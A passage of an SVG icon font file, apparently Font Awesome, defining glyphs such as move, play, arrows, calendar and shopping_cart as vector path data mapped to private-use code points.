q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v254q0 13 9 22l64 64q10 10 23 10q6 0 12 -3q20 -8 20 -29zM1639 1095l-814 -814q-24 -24 -57 -24t-57 24l-430 430q-24 24 -24 57t24 57l110 110q24 24 57 24t57 -24l263 -263l647 647q24 24 57 24t57 -24l110 -110
q24 -24 24 -57t-24 -57z" />
    <glyph glyph-name="move" unicode="&#xf047;" horiz-adv-x="1792" 
d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-384v-384h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v384h-384v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45
t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h384v384h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45t-19 -45t-45 -19h-128v-384h384v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="step_backward" unicode="&#xf048;" horiz-adv-x="1024" 
d="M979 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 10 13 19z" />
    <glyph glyph-name="fast_backward" unicode="&#xf049;" horiz-adv-x="1792" 
d="M1747 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 10 13 19l710 710
q19 19 32 13t13 -32v-710q4 10 13 19z" />
    <glyph glyph-name="backward" unicode="&#xf04a;" horiz-adv-x="1664" 
d="M1619 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-19 19 -19 45t19 45l710 710q19 19 32 13t13 -32v-710q4 10 13 19z" />
    <glyph glyph-name="play" unicode="&#xf04b;" horiz-adv-x="1408" 
d="M1384 609l-1328 -738q-23 -13 -39.5 -3t-16.5 36v1472q0 26 16.5 36t39.5 -3l1328 -738q23 -13 23 -31t-23 -31z" />
    <glyph glyph-name="pause" unicode="&#xf04c;" 
d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45zM640 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45z" />
    <glyph glyph-name="stop" unicode="&#xf04d;" 
d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="forward" unicode="&#xf04e;" horiz-adv-x="1664" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v710q0 26 13 32t32 -13l710 -710q19 -19 19 -45t-19 -45l-710 -710q-19 -19 -32 -13t-13 32v710q-4 -10 -13 -19z" />
    <glyph glyph-name="fast_forward" unicode="&#xf050;" horiz-adv-x="1792" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v710q0 26 13 32t32 -13l710 -710q9 -9 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-4 -10 -13 -19l-710 -710
q-19 -19 -32 -13t-13 32v710q-4 -10 -13 -19z" />
    <glyph glyph-name="step_forward" unicode="&#xf051;" horiz-adv-x="1024" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-4 -10 -13 -19z" />
    <glyph glyph-name="eject" unicode="&#xf052;" horiz-adv-x="1538" 
d="M14 557l710 710q19 19 45 19t45 -19l710 -710q19 -19 13 -32t-32 -13h-1472q-26 0 -32 13t13 32zM1473 0h-1408q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1408q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19z" />
    <glyph glyph-name="chevron_left" unicode="&#xf053;" horiz-adv-x="1280" 
d="M1171 1235l-531 -531l531 -531q19 -19 19 -45t-19 -45l-166 -166q-19 -19 -45 -19t-45 19l-742 742q-19 19 -19 45t19 45l742 742q19 19 45 19t45 -19l166 -166q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="chevron_right" unicode="&#xf054;" horiz-adv-x="1280" 
d="M1107 659l-742 -742q-19 -19 -45 -19t-45 19l-166 166q-19 19 -19 45t19 45l531 531l-531 531q-19 19 -19 45t19 45l166 166q19 19 45 19t45 -19l742 -742q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="plus_sign" unicode="&#xf055;" 
d="M1216 576v128q0 26 -19 45t-45 19h-256v256q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-256h-256q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h256v-256q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v256h256q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5
t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="minus_sign" unicode="&#xf056;" 
d="M1216 576v128q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="remove_sign" unicode="&#xf057;" 
d="M1149 414q0 26 -19 45l-181 181l181 181q19 19 19 45q0 27 -19 46l-90 90q-19 19 -46 19q-26 0 -45 -19l-181 -181l-181 181q-19 19 -45 19q-27 0 -46 -19l-90 -90q-19 -19 -19 -46q0 -26 19 -45l181 -181l-181 -181q-19 -19 -19 -45q0 -27 19 -46l90 -90q19 -19 46 -19
q26 0 45 19l181 181l181 -181q19 -19 45 -19q27 0 46 19l90 90q19 19 19 46zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ok_sign" unicode="&#xf058;" 
d="M1284 802q0 28 -18 46l-91 90q-19 19 -45 19t-45 -19l-408 -407l-226 226q-19 19 -45 19t-45 -19l-91 -90q-18 -18 -18 -46q0 -27 18 -45l362 -362q19 -19 45 -19q27 0 46 19l543 543q18 18 18 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="question_sign" unicode="&#xf059;" 
d="M896 160v192q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1152 832q0 88 -55.5 163t-138.5 116t-170 41q-243 0 -371 -213q-15 -24 8 -42l132 -100q7 -6 19 -6q16 0 25 12q53 68 86 92q34 24 86 24q48 0 85.5 -26t37.5 -59
q0 -38 -20 -61t-68 -45q-63 -28 -115.5 -86.5t-52.5 -125.5v-36q0 -14 9 -23t23 -9h192q14 0 23 9t9 23q0 19 21.5 49.5t54.5 49.5q32 18 49 28.5t46 35t44.5 48t28 60.5t12.5 81zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="info_sign" unicode="&#xf05a;" 
d="M1024 160v160q0 14 -9 23t-23 9h-96v512q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h96v-320h-96q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h448q14 0 23 9t9 23zM896 1056v160q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23
t23 -9h192q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="screenshot" unicode="&#xf05b;" 
d="M1197 512h-109q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h109q-32 108 -112.5 188.5t-188.5 112.5v-109q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v109q-108 -32 -188.5 -112.5t-112.5 -188.5h109q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-109
q32 -108 112.5 -188.5t188.5 -112.5v109q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-109q108 32 188.5 112.5t112.5 188.5zM1536 704v-128q0 -26 -19 -45t-45 -19h-143q-37 -161 -154.5 -278.5t-278.5 -154.5v-143q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v143
q-161 37 -278.5 154.5t-154.5 278.5h-143q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h143q37 161 154.5 278.5t278.5 154.5v143q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-143q161 -37 278.5 -154.5t154.5 -278.5h143q26 0 45 -19t19 -45z" />
    <glyph glyph-name="remove_circle" unicode="&#xf05c;" 
d="M1097 457l-146 -146q-10 -10 -23 -10t-23 10l-137 137l-137 -137q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l137 137l-137 137q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l137 -137l137 137q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23
l-137 -137l137 -137q10 -10 10 -23t-10 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5
t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ok_circle" unicode="&#xf05d;" 
d="M1171 723l-422 -422q-19 -19 -45 -19t-45 19l-294 294q-19 19 -19 45t19 45l102 102q19 19 45 19t45 -19l147 -147l275 275q19 19 45 19t45 -19l102 -102q19 -19 19 -45t-19 -45zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198
t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ban_circle" unicode="&#xf05e;" 
d="M1312 643q0 161 -87 295l-754 -753q137 -89 297 -89q111 0 211.5 43.5t173.5 116.5t116 174.5t43 212.5zM313 344l755 754q-135 91 -300 91q-148 0 -273 -73t-198 -199t-73 -274q0 -162 89 -299zM1536 643q0 -157 -61 -300t-163.5 -246t-245 -164t-298.5 -61t-298.5 61
t-245 164t-163.5 246t-61 300t61 299.5t163.5 245.5t245 164t298.5 61t298.5 -61t245 -164t163.5 -245.5t61 -299.5z" />
    <glyph glyph-name="arrow_left" unicode="&#xf060;" 
d="M1536 640v-128q0 -53 -32.5 -90.5t-84.5 -37.5h-704l293 -294q38 -36 38 -90t-38 -90l-75 -76q-37 -37 -90 -37q-52 0 -91 37l-651 652q-37 37 -37 90q0 52 37 91l651 650q38 38 91 38q52 0 90 -38l75 -74q38 -38 38 -91t-38 -91l-293 -293h704q52 0 84.5 -37.5
t32.5 -90.5z" />
    <glyph glyph-name="arrow_right" unicode="&#xf061;" 
d="M1472 576q0 -54 -37 -91l-651 -651q-39 -37 -91 -37q-51 0 -90 37l-75 75q-38 38 -38 91t38 91l293 293h-704q-52 0 -84.5 37.5t-32.5 90.5v128q0 53 32.5 90.5t84.5 37.5h704l-293 294q-38 36 -38 90t38 90l75 75q38 38 90 38q53 0 91 -38l651 -651q37 -35 37 -90z" />
    <glyph glyph-name="arrow_up" unicode="&#xf062;" horiz-adv-x="1664" 
d="M1611 565q0 -51 -37 -90l-75 -75q-38 -38 -91 -38q-54 0 -90 38l-294 293v-704q0 -52 -37.5 -84.5t-90.5 -32.5h-128q-53 0 -90.5 32.5t-37.5 84.5v704l-294 -293q-36 -38 -90 -38t-90 38l-75 75q-38 38 -38 90q0 53 38 91l651 651q35 37 90 37q54 0 91 -37l651 -651
q37 -39 37 -91z" />
    <glyph glyph-name="arrow_down" unicode="&#xf063;" horiz-adv-x="1664" 
d="M1611 704q0 -53 -37 -90l-651 -652q-39 -37 -91 -37q-53 0 -90 37l-651 652q-38 36 -38 90q0 53 38 91l74 75q39 37 91 37q53 0 90 -37l294 -294v704q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-704l294 294q37 37 90 37q52 0 91 -37l75 -75q37 -39 37 -91z" />
    <glyph glyph-name="share_alt" unicode="&#xf064;" horiz-adv-x="1792" 
d="M1792 896q0 -26 -19 -45l-512 -512q-19 -19 -45 -19t-45 19t-19 45v256h-224q-98 0 -175.5 -6t-154 -21.5t-133 -42.5t-105.5 -69.5t-80 -101t-48.5 -138.5t-17.5 -181q0 -55 5 -123q0 -6 2.5 -23.5t2.5 -26.5q0 -15 -8.5 -25t-23.5 -10q-16 0 -28 17q-7 9 -13 22
t-13.5 30t-10.5 24q-127 285 -127 451q0 199 53 333q162 403 875 403h224v256q0 26 19 45t45 19t45 -19l512 -512q19 -19 19 -45z" />
    <glyph glyph-name="resize_full" unicode="&#xf065;" 
d="M755 480q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23zM1536 1344v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332
q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45z" />
    <glyph glyph-name="resize_small" unicode="&#xf066;" 
d="M768 576v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45zM1523 1248q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45
t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23z" />
    <glyph glyph-name="plus" unicode="&#xf067;" horiz-adv-x="1408" 
d="M1408 800v-192q0 -40 -28 -68t-68 -28h-416v-416q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v416h-416q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h416v416q0 40 28 68t68 28h192q40 0 68 -28t28 -68v-416h416q40 0 68 -28t28 -68z" />
    <glyph glyph-name="minus" unicode="&#xf068;" horiz-adv-x="1408" 
d="M1408 800v-192q0 -40 -28 -68t-68 -28h-1216q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h1216q40 0 68 -28t28 -68z" />
    <glyph glyph-name="asterisk" unicode="&#xf069;" horiz-adv-x="1664" 
d="M1482 486q46 -26 59.5 -77.5t-12.5 -97.5l-64 -110q-26 -46 -77.5 -59.5t-97.5 12.5l-266 153v-307q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v307l-266 -153q-46 -26 -97.5 -12.5t-77.5 59.5l-64 110q-26 46 -12.5 97.5t59.5 77.5l266 154l-266 154
q-46 26 -59.5 77.5t12.5 97.5l64 110q26 46 77.5 59.5t97.5 -12.5l266 -153v307q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-307l266 153q46 26 97.5 12.5t77.5 -59.5l64 -110q26 -46 12.5 -97.5t-59.5 -77.5l-266 -154z" />
    <glyph glyph-name="exclamation_sign" unicode="&#xf06a;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM896 161v190q0 14 -9 23.5t-22 9.5h-192q-13 0 -23 -10t-10 -23v-190q0 -13 10 -23t23 -10h192
q13 0 22 9.5t9 23.5zM894 505l18 621q0 12 -10 18q-10 8 -24 8h-220q-14 0 -24 -8q-10 -6 -10 -18l17 -621q0 -10 10 -17.5t24 -7.5h185q14 0 23.5 7.5t10.5 17.5z" />
    <glyph glyph-name="gift" unicode="&#xf06b;" 
d="M928 180v56v468v192h-320v-192v-468v-56q0 -25 18 -38.5t46 -13.5h192q28 0 46 13.5t18 38.5zM472 1024h195l-126 161q-26 31 -69 31q-40 0 -68 -28t-28 -68t28 -68t68 -28zM1160 1120q0 40 -28 68t-68 28q-43 0 -69 -31l-125 -161h194q40 0 68 28t28 68zM1536 864v-320
q0 -14 -9 -23t-23 -9h-96v-416q0 -40 -28 -68t-68 -28h-1088q-40 0 -68 28t-28 68v416h-96q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h440q-93 0 -158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5q107 0 168 -77l128 -165l128 165q61 77 168 77q93 0 158.5 -65.5t65.5 -158.5
t-65.5 -158.5t-158.5 -65.5h440q14 0 23 -9t9 -23z" />
    <glyph glyph-name="leaf" unicode="&#xf06c;" horiz-adv-x="1792" 
d="M1280 832q0 26 -19 45t-45 19q-172 0 -318 -49.5t-259.5 -134t-235.5 -219.5q-19 -21 -19 -45q0 -26 19 -45t45 -19q24 0 45 19q27 24 74 71t67 66q137 124 268.5 176t313.5 52q26 0 45 19t19 45zM1792 1030q0 -95 -20 -193q-46 -224 -184.5 -383t-357.5 -268
q-214 -108 -438 -108q-148 0 -286 47q-15 5 -88 42t-96 37q-16 0 -39.5 -32t-45 -70t-52.5 -70t-60 -32q-43 0 -63.5 17.5t-45.5 59.5q-2 4 -6 11t-5.5 10t-3 9.5t-1.5 13.5q0 35 31 73.5t68 65.5t68 56t31 48q0 4 -14 38t-16 44q-9 51 -9 104q0 115 43.5 220t119 184.5
t170.5 139t204 95.5q55 18 145 25.5t179.5 9t178.5 6t163.5 24t113.5 56.5l29.5 29.5t29.5 28t27 20t36.5 16t43.5 4.5q39 0 70.5 -46t47.5 -112t24 -124t8 -96z" />
    <glyph glyph-name="fire" unicode="&#xf06d;" horiz-adv-x="1408" 
d="M1408 -160v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1152 896q0 -78 -24.5 -144t-64 -112.5t-87.5 -88t-96 -77.5t-87.5 -72t-64 -81.5t-24.5 -96.5q0 -96 67 -224l-4 1l1 -1
q-90 41 -160 83t-138.5 100t-113.5 122.5t-72.5 150.5t-27.5 184q0 78 24.5 144t64 112.5t87.5 88t96 77.5t87.5 72t64 81.5t24.5 96.5q0 94 -66 224l3 -1l-1 1q90 -41 160 -83t138.5 -100t113.5 -122.5t72.5 -150.5t27.5 -184z" />
    <glyph glyph-name="eye_open" unicode="&#xf06e;" horiz-adv-x="1792" 
d="M1664 576q-152 236 -381 353q61 -104 61 -225q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 121 61 225q-229 -117 -381 -353q133 -205 333.5 -326.5t434.5 -121.5t434.5 121.5t333.5 326.5zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5
t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1792 576q0 -34 -20 -69q-140 -230 -376.5 -368.5t-499.5 -138.5t-499.5 139t-376.5 368q-20 35 -20 69t20 69q140 229 376.5 368t499.5 139t499.5 -139t376.5 -368q20 -35 20 -69z" />
    <glyph glyph-name="eye_close" unicode="&#xf070;" horiz-adv-x="1792" 
d="M555 201l78 141q-87 63 -136 159t-49 203q0 121 61 225q-229 -117 -381 -353q167 -258 427 -375zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1307 1151q0 -7 -1 -9
q-106 -189 -316 -567t-315 -566l-49 -89q-10 -16 -28 -16q-12 0 -134 70q-16 10 -16 28q0 12 44 87q-143 65 -263.5 173t-208.5 245q-20 31 -20 69t20 69q153 235 380 371t496 136q89 0 180 -17l54 97q10 16 28 16q5 0 18 -6t31 -15.5t33 -18.5t31.5 -18.5t19.5 -11.5
q16 -10 16 -27zM1344 704q0 -139 -79 -253.5t-209 -164.5l280 502q8 -45 8 -84zM1792 576q0 -35 -20 -69q-39 -64 -109 -145q-150 -172 -347.5 -267t-419.5 -95l74 132q212 18 392.5 137t301.5 307q-115 179 -282 294l63 112q95 -64 182.5 -153t144.5 -184q20 -34 20 -69z
" />
    <glyph glyph-name="warning_sign" unicode="&#xf071;" horiz-adv-x="1792" 
d="M1024 161v190q0 14 -9.5 23.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -23.5v-190q0 -14 9.5 -23.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 23.5zM1022 535l18 459q0 12 -10 19q-13 11 -24 11h-220q-11 0 -24 -11q-10 -7 -10 -21l17 -457q0 -10 10 -16.5t24 -6.5h185
q14 0 23.5 6.5t10.5 16.5zM1008 1469l768 -1408q35 -63 -2 -126q-17 -29 -46.5 -46t-63.5 -17h-1536q-34 0 -63.5 17t-46.5 46q-37 63 -2 126l768 1408q17 31 47 49t65 18t65 -18t47 -49z" />
    <glyph glyph-name="plane" unicode="&#xf072;" horiz-adv-x="1408" 
d="M1376 1376q44 -52 12 -148t-108 -172l-161 -161l160 -696q5 -19 -12 -33l-128 -96q-7 -6 -19 -6q-4 0 -7 1q-15 3 -21 16l-279 508l-259 -259l53 -194q5 -17 -8 -31l-96 -96q-9 -9 -23 -9h-2q-15 2 -24 13l-189 252l-252 189q-11 7 -13 23q-1 13 9 25l96 97q9 9 23 9
q6 0 8 -1l194 -53l259 259l-508 279q-14 8 -17 24q-2 16 9 27l128 128q14 13 30 8l665 -159l160 160q76 76 172 108t148 -12z" />
    <glyph glyph-name="calendar" unicode="&#xf073;" horiz-adv-x="1664" 
d="M128 -128h288v288h-288v-288zM480 -128h320v288h-320v-288zM128 224h288v320h-288v-320zM480 224h320v320h-320v-320zM128 608h288v288h-288v-288zM864 -128h320v288h-320v-288zM480 608h320v288h-320v-288zM1248 -128h288v288h-288v-288zM864 224h320v320h-320v-320z
M512 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1248 224h288v320h-288v-320zM864 608h320v288h-320v-288zM1248 608h288v288h-288v-288zM1280 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64
q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47
h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="random" unicode="&#xf074;" horiz-adv-x="1792" 
d="M666 1055q-60 -92 -137 -273q-22 45 -37 72.5t-40.5 63.5t-51 56.5t-63 35t-81.5 14.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q250 0 410 -225zM1792 256q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192q-32 0 -85 -0.5t-81 -1t-73 1
t-71 5t-64 10.5t-63 18.5t-58 28.5t-59 40t-55 53.5t-56 69.5q59 93 136 273q22 -45 37 -72.5t40.5 -63.5t51 -56.5t63 -35t81.5 -14.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1792 1152q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5
v192h-256q-48 0 -87 -15t-69 -45t-51 -61.5t-45 -77.5q-32 -62 -78 -171q-29 -66 -49.5 -111t-54 -105t-64 -100t-74 -83t-90 -68.5t-106.5 -42t-128 -16.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q48 0 87 15t69 45t51 61.5t45 77.5q32 62 78 171q29 66 49.5 111
t54 105t64 100t74 83t90 68.5t106.5 42t128 16.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
    <glyph glyph-name="comment" unicode="&#xf075;" horiz-adv-x="1792" 
d="M1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22q-17 -2 -30.5 9t-17.5 29v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281
q0 130 71 248.5t191 204.5t286 136.5t348 50.5q244 0 450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="magnet" unicode="&#xf076;" 
d="M1536 704v-128q0 -201 -98.5 -362t-274 -251.5t-395.5 -90.5t-395.5 90.5t-274 251.5t-98.5 362v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-128q0 -52 23.5 -90t53.5 -57t71 -30t64 -13t44 -2t44 2t64 13t71 30t53.5 57t23.5 90v128q0 26 19 45t45 19h384
q26 0 45 -19t19 -45zM512 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45zM1536 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45z" />
    <glyph glyph-name="chevron_up" unicode="&#xf077;" horiz-adv-x="1792" 
d="M1683 205l-166 -165q-19 -19 -45 -19t-45 19l-531 531l-531 -531q-19 -19 -45 -19t-45 19l-166 165q-19 19 -19 45.5t19 45.5l742 741q19 19 45 19t45 -19l742 -741q19 -19 19 -45.5t-19 -45.5z" />
    <glyph glyph-name="chevron_down" unicode="&#xf078;" horiz-adv-x="1792" 
d="M1683 728l-742 -741q-19 -19 -45 -19t-45 19l-742 741q-19 19 -19 45.5t19 45.5l166 165q19 19 45 19t45 -19l531 -531l531 531q19 19 45 19t45 -19l166 -165q19 -19 19 -45.5t-19 -45.5z" />
    <glyph glyph-name="retweet" unicode="&#xf079;" horiz-adv-x="1920" 
d="M1280 32q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-8 0 -13.5 2t-9 7t-5.5 8t-3 11.5t-1 11.5v13v11v160v416h-192q-26 0 -45 19t-19 45q0 24 15 41l320 384q19 22 49 22t49 -22l320 -384q15 -17 15 -41q0 -26 -19 -45t-45 -19h-192v-384h576q16 0 25 -11l160 -192q7 -10 7 -21
zM1920 448q0 -24 -15 -41l-320 -384q-20 -23 -49 -23t-49 23l-320 384q-15 17 -15 41q0 26 19 45t45 19h192v384h-576q-16 0 -25 12l-160 192q-7 9 -7 20q0 13 9.5 22.5t22.5 9.5h960q8 0 13.5 -2t9 -7t5.5 -8t3 -11.5t1 -11.5v-13v-11v-160v-416h192q26 0 45 -19t19 -45z
" />
    <glyph glyph-name="shopping_cart" unicode="&#xf07a;" horiz-adv-x="1664" 
d="M640 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1536 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1664 1088v-512q0 -24 -16.5 -42.5t-40.5 -21.5l-1044 -122q13 -60 13 -70q0 -16 -24 -64h920q26 0 45 -19t19 -45
t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 11 8 31.5t16 36t21.5 40t15.5 29.5l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t19.5 -15.5t13 -24.5t8 -26t5.5 -29.5t4.5 -26h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="folder_close" unicode="&#xf07b;" horiz-adv-x="1664" 
d="M1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
    <glyph glyph-name="folder_open" unicode="&#xf07c;" horiz-adv-x="1920" 
